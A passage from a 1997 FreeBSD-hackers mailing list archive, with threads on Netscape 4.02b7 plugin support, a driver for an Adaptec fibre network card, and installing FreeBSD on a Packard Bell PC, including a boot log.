sizeof *sc); > > ! #ifdef HITACHI_MX > ! if ((ne2100_probe(sc, iobase) == NE2100_IOSIZE) > ! #else > ! if ((ne2100_probe(sc, iobase) == 0) > ! #endif > || (lnc_attach_sc(sc, unit) == 0)) { > free(sc, M_DEVBUF); > sc = NULL; > > > > -- Ulf. -------------------------------------------------------------------------- Ulf Zimmermann, 1525 Pacific Ave., Alameda, CA-94501, #: 510-769-2936 Alameda Networks, Inc. | http://www.Alameda.net | Fax#: 510-521-5073 From owner-freebsd-hackers Sun Aug 3 18:12:24 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA01883 for hackers-outgoing; Sun, 3 Aug 1997 18:12:24 -0700 (PDT) Received: from mail.scsn.net (scsn.net [206.25.246.12]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA01878 for ; Sun, 3 Aug 1997 18:12:21 -0700 (PDT) Received: from rhiannon.scsn.net ([208.133.153.74]) by mail.scsn.net (Post.Office MTA v3.1 release PO203a ID# 0-32322U5000L100S10000) with ESMTP id AAA130; Sun, 3 Aug 1997 21:03:13 -0400 Received: (from root@localhost) by rhiannon.scsn.net (8.8.6/8.8.5) id VAA00250; Sun, 3 Aug 1997 21:12:13 -0400 (EDT) Message-ID: <19970803211212.56614@scsn.net> Date: Sun, 3 Aug 1997 21:12:12 -0400 From: "Donald J. Maddox" To: Michael Smith Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: netscape 4.02b7 Reply-To: dmaddox@scsn.net References: <4339.870648420@time.cdrom.com> <199708040027.JAA16161@genesis.atrad.adelaide.edu.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.79 In-Reply-To: <199708040027.JAA16161@genesis.atrad.adelaide.edu.au>; from Michael Smith on Mon, Aug 04, 1997 at 09:57:44AM +0930 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, Aug 04, 1997 at 09:57:44AM +0930, Michael Smith wrote: > Now, what I want to hear is right answer to "does it support plugins"? Yes. From owner-freebsd-hackers Sun Aug 3 18:17:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA02169 for hackers-outgoing; Sun, 3 Aug 1997 18:17:52 -0700 (PDT) Received: from wakky.dyn.ml.org (lee@1Cust25.max6.washington2.dc.ms.uu.net [153.34.2.153]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA02163 for ; Sun, 3 Aug 1997 18:17:48 -0700 (PDT) Received: (from lee@localhost) by wakky.dyn.ml.org (8.8.5/8.8.3) id VAA03214; Sun, 3 Aug 1997 21:17:31 -0400 (EDT) Message-ID: <19970803211730.39902@wakky.dyn.ml.org> Date: Sun, 3 Aug 1997 21:17:30 -0400 From: Lee Cremeans To: Michael Smith Cc: hackers@freebsd.org Subject: Re: netscape 4.02b7 Reply-To: hcremean@vt.edu References: <4339.870648420@time.cdrom.com> <199708040027.JAA16161@genesis.atrad.adelaide.edu.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.79e In-Reply-To: <199708040027.JAA16161@genesis.atrad.adelaide.edu.au>; from Michael Smith on Mon, Aug 04, 1997 at 09:57:44AM +0930 X-OS: FreeBSD 2.2-RELEASE X-Evil: microsoft.com Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Mon, Aug 04, 1997 at 09:57:44AM +0930, Michael Smith wrote: > > > Thanks also go out to a certain skunk-works project at Netscape who > > produced this product for FreeBSD! > > Buy those heroes a beer! 8) * WakkyMouse buys them quarts of IBC root beer > Now, what I want to hear is right answer to "does it support plugins"? It does indeed.... -- Lee C. -- Manassas, VA, USA (WakkyMouse on DALnet #watertower) A! JW223 YWD++^i WK+++r P&B++ SL+++^i GDF- B&M KK--i MD+++i P++ I++++ Di $++ E5/10/70/3c/73ac Ee34/1/36 H2 PonPippi Ay77 M | hcremean (at) vt.edu FreeBSD/Linux/Unix hacker...Win95 and M$ evil! (go see www.freebsd.org) My home page: http://wakky.dyn.ml.org/~lee | finger me for geek code From owner-freebsd-hackers Sun Aug 3 18:43:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA03582 for hackers-outgoing; Sun, 3 Aug 1997 18:43:32 -0700 (PDT) Received: from gwa.ericsson.com (gwa.ericsson.com [198.215.127.2]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA03574 for ; Sun, 3 Aug 1997 18:43:28 -0700 (PDT) Received: from mr1.exu.ericsson.se (mr1.exu.ericsson.com [138.85.147.11]) by gwa.ericsson.com (8.8.2/8.8.2) with ESMTP id UAA10616; Sun, 3 Aug 1997 20:42:57 -0500 (CDT) Received: from noah.lmc.ericsson.se (noah.lmc.ericsson.se [142.133.1.1]) by mr1.exu.ericsson.se (8.7.1/NAHUB-MR1.1) with ESMTP id UAA09874; Sun, 3 Aug 1997 20:42:56 -0500 (CDT) Received: from lmcpc1.lmc.ericsson.se (lmcpc1.lmc.ericsson.se [142.133.17.200]) by noah.lmc.ericsson.se (8.8.5/8.8.5) with ESMTP id VAA16468; Sun, 3 Aug 1997 21:41:19 -0400 (EDT) Received: from lmc.ericsson.se (ppp19.lmc.ericsson.se [142.133.16.219]) by lmcpc1.lmc.ericsson.se (8.8.5/8.8.5) with ESMTP id VAA01336; Sun, 3 Aug 1997 21:43:59 -0400 (EDT) Message-ID: <33E53418.84F6CE@lmc.ericsson.se> Date: Sun, 03 Aug 1997 21:44:56 -0400 From: Samy Touati X-Mailer: Mozilla 4.02b7 [en] (X11; I; FreeBSD 2.2.1-RELEASE i386) MIME-Version: 1.0 To: Michael Smith CC: "Jordan K. Hubbard" , paul@mu.org, freebsd-hackers@FreeBSD.ORG Subject: Re: netscape 4.02b7 References: <199708040027.JAA16161@genesis.atrad.adelaide.edu.au> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Unfortunately it doesn't support plugins. Samy Smith wrote: > Now, what I want to hear is right answer to "does it support plugins"? > > 8) (I expect an indignant response to this...) > > > Jordan > > -- > ] From owner-freebsd-hackers Sun Aug 3 18:53:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA04094 for hackers-outgoing; Sun, 3 Aug 1997 18:53:50 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA04088 for ; Sun, 3 Aug 1997 18:53:41 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id LAA16773; Mon, 4 Aug 1997 11:23:10 +0930 (CST) From: Michael Smith Message-Id: <199708040153.LAA16773@genesis.atrad.adelaide.edu.au> Subject: Re: netscape 4.02b7 In-Reply-To: <33E53418.84F6CE@lmc.ericsson.se> from Samy Touati at "Aug 3, 97 09:44:56 pm" To: lmcsato@lmc.ericsson.se (Samy Touati) Date: Mon, 4 Aug 1997 11:23:10 +0930 (CST) Cc: msmith@atrad.adelaide.edu.au, jkh@time.cdrom.com, paul@mu.org, freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Samy Touati stands accused of saying: > > Unfortunately it doesn't support plugins. I have four "yes" votes, and now a "no" vote. Who loses? > Samy > > Smith wrote: > > > Now, what I want to hear is right answer to "does it support plugins"? > > > > 8) (I expect an indignant response to this...) > > > > > Jordan > > > > -- > > ] > > -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Sun Aug 3 19:11:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA04895 for hackers-outgoing; Sun, 3 Aug 1997 19:11:05 -0700 (PDT) Received: from sag.space.lockheed.com (sag.space.lockheed.com [192.68.162.134]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id TAA04882 for ; Sun, 3 Aug 1997 19:11:02 -0700 (PDT) Received: from localhost by sag.space.lockheed.com; (5.65v3.2/1.1.8.2/21Nov95-0423PM) id AA22600; Sun, 3 Aug 1997 19:11:10 -0700 Date: Sun, 3 Aug 1997 19:11:10 -0700 (PDT) From: "Brian N. Handy" To: freebsd-hackers@FreeBSD.ORG Subject: Re: netscape 4.02b7 In-Reply-To: <19970803211212.56614@scsn.net> Message-Id: X-Files: The truth is out there Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >On Mon, Aug 04, 1997 at 09:57:44AM +0930, Michael Smith wrote: >> Now, what I want to hear is right answer to "does it support plugins"? > >Yes. SoooOOOooOOooo...seems if this is true (and at the time of my reading, we've got two votes Aye and one vote nay :-), it seems like the acroread port should be adjusted to make use of this capability... YEA I'll do it, if it doesn't get done before say next weekend... Brian From owner-freebsd-hackers Sun Aug 3 19:27:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA05564 for hackers-outgoing; Sun, 3 Aug 1997 19:27:48 -0700 (PDT) Received: from wakky.dyn.ml.org (lee@1Cust25.max6.washington2.dc.ms.uu.net [153.34.2.153]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA05559 for ; Sun, 3 Aug 1997 19:27:43 -0700 (PDT) Received: (from lee@localhost) by wakky.dyn.ml.org (8.8.5/8.8.3) id WAA03534; Sun, 3 Aug 1997 22:27:31 -0400 (EDT) Message-ID: <19970803222730.57163@wakky.dyn.ml.org> Date: Sun, 3 Aug 1997 22:27:30 -0400 From: Lee Cremeans To: "Brian N. Handy" Cc: hackers@freebsd.org Subject: Re: netscape 4.02b7 Reply-To: hcremean@vt.edu References: <19970803211212.56614@scsn.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.79e In-Reply-To: ; from Brian N. Handy on Sun, Aug 03, 1997 at 07:11:10PM -0700 X-OS: FreeBSD 2.2-RELEASE X-Evil: microsoft.com Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Sun, Aug 03, 1997 at 07:11:10PM -0700, Brian N. Handy wrote: > SoooOOOooOOooo...seems if this is true (and at the time of my reading, > we've got two votes Aye and one vote nay :-), it seems like the acroread > port should be adjusted to make use of this capability... Hrmmm...I did some testing, and there's good news and bad news. The good news is that 4.02b7/FreeBSD does support plugins; the bad news is that they have to be in our object format...our ld.so doesn't grok Linux objects. :( -- Lee C. -- Manassas, VA, USA (WakkyMouse on DALnet #watertower) A! JW223 YWD++^i WK+++r P&B++ SL+++^i GDF- B&M KK--i MD+++i P++ I++++ Di $++ E5/10/70/3c/73ac Ee34/1/36 H2 PonPippi Ay77 M | hcremean (at) vt.edu FreeBSD/Linux/Unix hacker...Win95 and M$ evil! (go see www.freebsd.org) My home page: http://wakky.dyn.ml.org/~lee | finger me for geek code From owner-freebsd-hackers Sun Aug 3 19:33:35 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA05816 for hackers-outgoing; Sun, 3 Aug 1997 19:33:35 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA05809 for ; Sun, 3 Aug 1997 19:33:32 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id MAA16973; Mon, 4 Aug 1997 12:02:11 +0930 (CST) From: Michael Smith Message-Id: <199708040232.MAA16973@genesis.atrad.adelaide.edu.au> Subject: Re: netscape 4.02b7 In-Reply-To: from "Brian N. Handy" at "Aug 3, 97 07:11:10 pm" To: handy@sag.space.lockheed.com (Brian N. Handy) Date: Mon, 4 Aug 1997 12:02:11 +0930 (CST) Cc: freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Brian N. Handy stands accused of saying: > >On Mon, Aug 04, 1997 at 09:57:44AM +0930, Michael Smith wrote: > >> Now, what I want to hear is right answer to "does it support plugins"? > > > >Yes. > > SoooOOOooOOooo...seems if this is true (and at the time of my reading, > we've got two votes Aye and one vote nay :-), it seems like the acroread > port should be adjusted to make use of this capability... ACROBAT READER IS NOT A PLUGIN! ARGH! Acrobat is a _helper_application_. It has always been usable for reading pdf files out of Netscape; in fact, I have been doing that ever since Acrobat became available. Plugins are shared libraries that Netscape links with itself in order to extend its functionality. Happily enough, it looks like the API is becoming standardised (eg. Amaya). -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Sun Aug 3 19:55:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA07253 for hackers-outgoing; Sun, 3 Aug 1997 19:55:50 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA07246 for ; Sun, 3 Aug 1997 19:55:41 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id MAA17378; Mon, 4 Aug 1997 12:25:10 +0930 (CST) From: Michael Smith Message-Id: <199708040255.MAA17378@genesis.atrad.adelaide.edu.au> Subject: Re: netscape 4.02b7 In-Reply-To: <19970803222730.57163@wakky.dyn.ml.org> from Lee Cremeans at "Aug 3, 97 10:27:30 pm" To: hcremean@vt.edu Date: Mon, 4 Aug 1997 12:25:10 +0930 (CST) Cc: handy@sag.space.lockheed.com, hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Lee Cremeans stands accused of saying: > > Hrmmm...I did some testing, and there's good news and bad news. The good > news is that 4.02b7/FreeBSD does support plugins; the bad news is that > they have to be in our object format...our ld.so doesn't grok Linux > objects. :( That's not terribly surprising, or really an issue to me at least 8) Having said that, some enterprising Netscape-loving hacker could try writing a shim for this 8) > Lee C. -- Manassas, VA, USA (WakkyMouse on DALnet #watertower) -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Sun Aug 3 19:59:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA07450 for hackers-outgoing; Sun, 3 Aug 1997 19:59:21 -0700 (PDT) Received: from sag.space.lockheed.com (sag.space.lockheed.com [192.68.162.134]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id TAA07445 for ; Sun, 3 Aug 1997 19:59:19 -0700 (PDT) Received: from localhost by sag.space.lockheed.com; (5.65v3.2/1.1.8.2/21Nov95-0423PM) id AA23758; Sun, 3 Aug 1997 19:57:36 -0700 Date: Sun, 3 Aug 1997 19:57:36 -0700 (PDT) From: "Brian N. Handy" To: Michael Smith Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: netscape 4.02b7 In-Reply-To: <199708040232.MAA16973@genesis.atrad.adelaide.edu.au> Message-Id: X-Files: The truth is out there Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Michael gently voiced: >ACROBAT READER IS NOT A PLUGIN! > >ARGH! > >Acrobat is a _helper_application_. It has always been usable for reading >pdf files out of Netscape; in fact, I have been doing that ever since >Acrobat became available. Hrmm...so when I fiddle with the linux version of netscape and acroread so I can read pdf files from *inside* the netscape window, this is still a helper application? I remember having to fiddle with a bunch of environmental variables with the word "plugin" interspersed among them... I'm gonna have to say you're wrong! :-) Brian From owner-freebsd-hackers Sun Aug 3 20:01:08 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA07585 for hackers-outgoing; Sun, 3 Aug 1997 20:01:08 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA07580 for ; Sun, 3 Aug 1997 20:01:02 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id MAA17425; Mon, 4 Aug 1997 12:30:46 +0930 (CST) From: Michael Smith Message-Id: <199708040300.MAA17425@genesis.atrad.adelaide.edu.au> Subject: Re: netscape 4.02b7 In-Reply-To: from "Brian N. Handy" at "Aug 3, 97 07:57:36 pm" To: handy@sag.space.lockheed.com (Brian N. Handy) Date: Mon, 4 Aug 1997 12:30:45 +0930 (CST) Cc: msmith@atrad.adelaide.edu.au, freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Brian N. Handy stands accused of saying: > Michael gently voiced: > > >ACROBAT READER IS NOT A PLUGIN! Eep, this was meant to be a non-list message. Apologies people. 8( > >Acrobat is a _helper_application_. It has always been usable for reading > >pdf files out of Netscape; in fact, I have been doing that ever since > >Acrobat became available. > > Hrmm...so when I fiddle with the linux version of netscape and acroread so > I can read pdf files from *inside* the netscape window, this is still a > helper application? I remember having to fiddle with a bunch of > environmental variables with the word "plugin" interspersed among them... Ow. Anyone pass that humble pie recipie? My record the last few days ain't looking too flash. 8( > Brian -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Sun Aug 3 20:34:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA09087 for hackers-outgoing; Sun, 3 Aug 1997 20:34:04 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA09082 for ; Sun, 3 Aug 1997 20:34:01 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.6/8.6.9) with ESMTP id UAA16989; Sun, 3 Aug 1997 20:32:35 -0700 (PDT) To: Michael Smith cc: paul@mu.org, freebsd-hackers@FreeBSD.ORG Subject: Re: netscape 4.02b7 In-reply-to: Your message of "Mon, 04 Aug 1997 09:57:44 +0930." <199708040027.JAA16161@genesis.atrad.adelaide.edu.au> Date: Sun, 03 Aug 1997 20:32:35 -0700 Message-ID: <16985.870665555@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Now, what I want to hear is right answer to "does it support plugins"? It does. In fact, I've already contacted the TCL group at sun about their TCL plugin, now that we've got support for such. :-) Jordan From owner-freebsd-hackers Sun Aug 3 20:36:02 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA09246 for hackers-outgoing; Sun, 3 Aug 1997 20:36:02 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA09220 for ; Sun, 3 Aug 1997 20:35:59 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.6/8.6.9) with ESMTP id UAA17031; Sun, 3 Aug 1997 20:35:04 -0700 (PDT) To: Samy Touati cc: Michael Smith , paul@mu.org, freebsd-hackers@FreeBSD.ORG Subject: Re: netscape 4.02b7 In-reply-to: Your message of "Sun, 03 Aug 1997 21:44:56 EDT." <33E53418.84F6CE@lmc.ericsson.se> Date: Sun, 03 Aug 1997 20:35:04 -0700 Message-ID: <17028.870665704@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Unfortunately it doesn't support plugins. Pardon? What brings you to that conclusion? Jordan From owner-freebsd-hackers Sun Aug 3 21:07:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA10958 for hackers-outgoing; Sun, 3 Aug 1997 21:07:05 -0700 (PDT) Received: from onyx.atipa.com (user29024@ns.atipa.com [208.128.22.10]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id VAA10934 for ; Sun, 3 Aug 1997 21:06:54 -0700 (PDT) Received: (qmail-queue invoked by uid 1018); 4 Aug 1997 04:09:09 -0000 Date: Sun, 3 Aug 1997 22:09:09 -0600 (MDT) From: FreeBSD Mailing List X-Sender: freebsd@dot.ishiboo.com To: Dr R D Gidden cc: hackers@FreeBSD.ORG Subject: Re: Net interface card In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Hi! > Is the NIC 'ANA6910FX' supported, if so, which driver? > It's an Adaptec 100BaseFX PCI Fibre ST card - I need > to go out on a multimode fibre link, and this seems cheaper > than a UTP 100Mbit card + Media Converter. > > I dunno what chips it uses - I've asked Adaptec, but no > reply as yet. Putting a few things together here: 1) Adaptec networking is the result of them buying Cogent 2) That looks like a Cogent EM-100FX (now called Adaptec ANA6910FX?) 3) If so, the card uses the DEC 21140-AC chipset 4) It should be supported by the "de" device standard in the kernel. 5) If it is DEC based, but does not work with the default driver, you can try the alternate "de" driver from: ftp://www.3am-software.com/de-970703.tar.gz I may be totally off the wall here. Any other idears? Kevin From owner-freebsd-hackers Sun Aug 3 21:07:56 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA11041 for hackers-outgoing; Sun, 3 Aug 1997 21:07:56 -0700 (PDT) Received: from argus.tfs.net (pm3-p7.tfs.net [206.154.183.199]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id VAA10978 for ; Sun, 3 Aug 1997 21:07:13 -0700 (PDT) Received: (from jbryant@localhost) by argus.tfs.net (8.8.5/8.8.5) id XAA00726; Sun, 3 Aug 1997 23:05:34 -0500 (CDT) From: Jim Bryant Message-Id: <199708040405.XAA00726@argus.tfs.net> Subject: Re: FreeBSD on Packard Bell? In-Reply-To: <199708032306.QAA02728@phaeton.artisoft.com> from Terry Lambert at "Aug 3, 97 04:06:12 pm" To: terry@lambert.org (Terry Lambert) Date: Sun, 3 Aug 1997 23:05:10 -0500 (CDT) Cc: freebsd-hackers@freebsd.org Reply-to: jbryant@tfs.net X-Windows: R00LZ!@# MS-Winbl0wz DR00LZ!@# X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In reply: > > I asked about this a while ago and only got one reply from someone who > > was (politely) questioning the mental state of anyone who would purchase > > a pb machine. Okay, I was stupid. Now, has anyone put fbsd on a pb? I > > tried just doing an install, without success. It just hangs at various > > points (none of the 9 tries hung at the same spot) after all of the > > setup screens and fs work, while copying blocks of data from the cd. > > This question really belongs on -questions; however, if you posted it > there, you wouldn't have gotten me (a mixed blessing, I'm told). > > > You are likely running a CMD640B or otherwise buggy IDE controller > and using the primary for the hard disk and the secondary for the > CDROM. > > If the machine has two IDE controllers, put the CDROM on one and the > hard drive on the other. > > Otherwise, you will need to patch the controller bug in the POST > routine, or in BIOS configuration. I run on a PB Platinum I [Intel Pentium 1110/133], with the config at the end of this message. I've had no problems with this box or one of their Legend 486 boxes... PB has quality control problems, but when you get a good one, you get a good one. If you get a bad one, just be insistent that you get one that works and get it fast. Make a scene if you have to in the store, and they will usually give you another, and another, and another until you get one that does work. Ideal tactics are to [while you are waiting for the repair guys to get to you] make all sorts of comments to people browsing the PB line at the store, but only state facts that you know to be true [slander is such a nasty word]... They have lemon laws with cars, it's about time they had them for computers. BTW: This box does not require the CMD640 hack, and if enabled it will panic during the probes. -------------------------------------------------------------------------- Copyright (c) 1992-1997 FreeBSD Inc. Copyright (c) 1982, 1986, 1989, 1991, 1993 The Regents of the University of California. All rights reserved. FreeBSD 2.2.2-RELEASE #0: Wed Jul 9 01:01:24 CDT 1997 jbryant@argus:/usr/src/sys/compile/ARGUS.2.2.2 CPU: Pentium (132.74-MHz 586-class CPU) Origin = "GenuineIntel" Id = 0x52b Stepping=11 Features=0x1bf real memory = 25165824 (24576K bytes) avail memory = 22077440 (21560K bytes) Probing for devices on PCI bus 0: chip0 rev 1 on pci0:0 chip1 rev 1 on pci0:6 vga0 rev 76 int a irq ?? on pci0:10 ahc0 rev 0 int a irq 11 on pci0:11 ahc0: aic7880 Wide Channel, SCSI Id=7, 16/255 SCBs ahc0: target 0 Tagged Queuing Device (ahc0:0:0): "SEAGATE ST32550N 0022" type 0 fixed SCSI 2 sd0(ahc0:0:0): Direct-Access 2047MB (4194058 512 byte sectors) sd0(ahc0:0:0): with 3511 cyls, 11 heads, and an average 108 sectors/track pci0:13: CMD, device=0x0640, class=storage (ide) int a irq 15 [no driver assigned] Probing for devices on the ISA bus: sc0 at 0x60-0x6f irq 1 on motherboard sc0: VGA color <16 virtual consoles, flags=0x0> lpt0 at 0x378-0x37f irq 7 on isa lpt0: Interrupt-driven port lp0: TCP/IP capable interface sio0 at 0x3f8-0x3ff irq 4 on isa sio0: type 16550A sio1 at 0x2f8-0x2ff irq 3 on isa sio1: type 16550A sio2 at 0x3e8-0x3ef irq 12 on isa sio2: type 16550A pca0 on motherboard pca0: PC speaker audio driver fdc0 at 0x3f0-0x3f7 irq 6 drq 2 on isa fdc0: NEC 72065B fd0: 1.44MB 3.5in wdc0 at 0x1f0-0x1f7 irq 14 flags 0x80ff80ff on isa wdc0: unit 0 (wd0): , multi-block-16 wd0: 1032MB (2113776 sectors), 2097 cyls, 16 heads, 63 S/T, 512 B/S wdc0: unit 1 (wd1): , multi-block-16 wd1: 1033MB (2116800 sectors), 2100 cyls, 16 heads, 63 S/T, 512 B/S wdc1 at 0x170-0x177 irq 15 flags 0x80ff80ff on isa wdc1: unit 0 (atapi): , removable, intr, iordy atapi1.0: unknown phase ^^^^^^^^^^^^^^^^^^^^^^^ The standard PB 4X CD-ROM [any fixes?] npx0 on motherboard npx0: INT 16 interface joy0 not found at 0x201 sb0 at 0x220 irq 5 drq 1 on isa sb0: mpu0 at 0x330 irq 5 drq 0 on isa mpu0: opl0 at 0x388 on isa opl0: ccd0-3: Concatenated disk drivers Jim -- All opinions expressed are mine, if you | "I will not be pushed, stamped, think otherwise, then go jump into turbid | briefed, debriefed, indexed, or radioactive waters and yell WAHOO !!! | numbered!" - #1, "The Prisoner" ------------------------------------------------------------------------------ Internet: jbryant@tfs.net AX.25 Packet: kc5vdj@wv0t.#neks.ks.usa.noam voice: KC5VDJ - 6 Meters AM/FM/SSB, 2 Meters AM/FM/SSB, 70cm FM. grid: EM28PW ------------------------------------------------------------------------------ HF/6M/2M: IC-706-MkII, 2M: HTX-212, 2M: HTX-202, 70cm: HTX-404, Packet: KPC-3+ From owner-freebsd-hackers Sun Aug 3 21:15:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA11371 for hackers-outgoing; Sun, 3 Aug 1997 21:15:37 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id VAA11363 for ; Sun, 3 Aug 1997 21:15:31 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id NAA18122; Mon, 4 Aug 1997 13:45:17 +0930 (CST) From: Michael Smith Message-Id: <199708040415.NAA18122@genesis.atrad.adelaide.edu.au> Subject: Re: MS DOS programs running in freebsd In-Reply-To: <33E34BD6.4B76@communique.net> from Frank Creel at "Aug 2, 97 10:01:42 am" To: fcreel@communique.net Date: Mon, 4 Aug 1997 13:45:17 +0930 (CST) Cc: hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII 